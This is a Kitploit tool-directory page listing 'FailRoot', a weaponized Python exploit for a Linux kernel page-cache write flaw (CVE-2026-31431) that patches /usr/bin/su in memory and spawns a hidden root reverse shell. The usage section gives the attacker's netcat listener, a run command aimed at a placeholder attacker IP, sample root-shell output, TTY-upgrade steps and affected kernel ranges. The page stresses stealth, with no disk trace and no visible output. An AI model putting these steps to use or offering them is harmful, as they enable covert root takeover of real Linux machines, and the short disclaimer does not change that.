Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431-REVSHELL — Weaponized Python exploit for CVE-2026-31431, chaining Linux kernel privilege escalation to a daemonized root reverse shell with full PTY, patching /usr/bin/su in-memory. | Kitploit
Tools/GitHubGitHub/danimrtzp/cve-2026-31431-revshell
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed TeamingPayload Development

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
danimrtzp/cve-2026-31431-revshell

CVE-2026-31431-REVSHELL

Weaponized Python exploit for CVE-2026-31431, chaining Linux kernel privilege escalation to a daemonized root reverse shell with full PTY, patching /usr/bin/su in-memory.

View Repository
3 months agoNot yet reviewed


root@kitploit:~
  █▀▀ ▄▀█ █ █   █▀█ █▀█ █▀█ ▀█▀
  █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░

  CVE-2026-31431  •  Linux Kernel LPE  →  Root Reverse Shell

Overview

FailRoot is a weaponized exploit for CVE-2026-31431 — an out-of-bounds write in the Linux kernel's crypto: algif_aead subsystem.

It chains a privilege escalation with a daemonized root reverse shell with full PTY:

root@kitploit:~
AF_ALG + splice()  →  4-byte page-cache write  →  patch /usr/bin/su  →  root

The entire exploit fits in one file. No compilation. No external dependencies. No trace on disk — the su binary is patched in-memory only.


What it does

  1. Daemonizes instantly — double-fork, detaches from terminal, returns prompt immediately
  2. Loads kernel modules — algif_aead + authencesn via multiple fallback strategies
  3. Exploits CVE-2026-31431 — writes 4 controlled bytes into /usr/bin/su page cache
  4. Spawns root PTY reverse shell — pty.spawn("/usr/bin/su") → fully interactive root TTY

The reverse shell survives terminal close (SIGHUP ignored), shows zero output on the target, and connects with retries for up to 3 minutes.


Usage

root@kitploit:~
# Attacker — start listener:
nc -lvnp 4444

# Target — run exploit (nothing will show, it daemonizes instantly):
python3 exploit.py <ATTACKER_IP> 4444
root@kitploit:~
attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234

root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)

TTY upgrade (attacker side, inside the shell)

root@kitploit:~
Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash

Affected Kernels


Requirements

  • Python >= 3.10 (os.splice())
  • Read access to /usr/bin/su (world-readable on all distros)
  • Kernel modules algif_aead and authencesn available
  • No sudo required

Author

danimrtzp


Disclaimer

For authorized security research and education only. Misuse is illegal.

Download Tool
FromTo (exclusive)
4.145.10.254
5.115.15.204
5.166.1.170
6.26.6.137
6.76.12.85
6.136.18.22
6.196.19.12
7.0rc1–rc6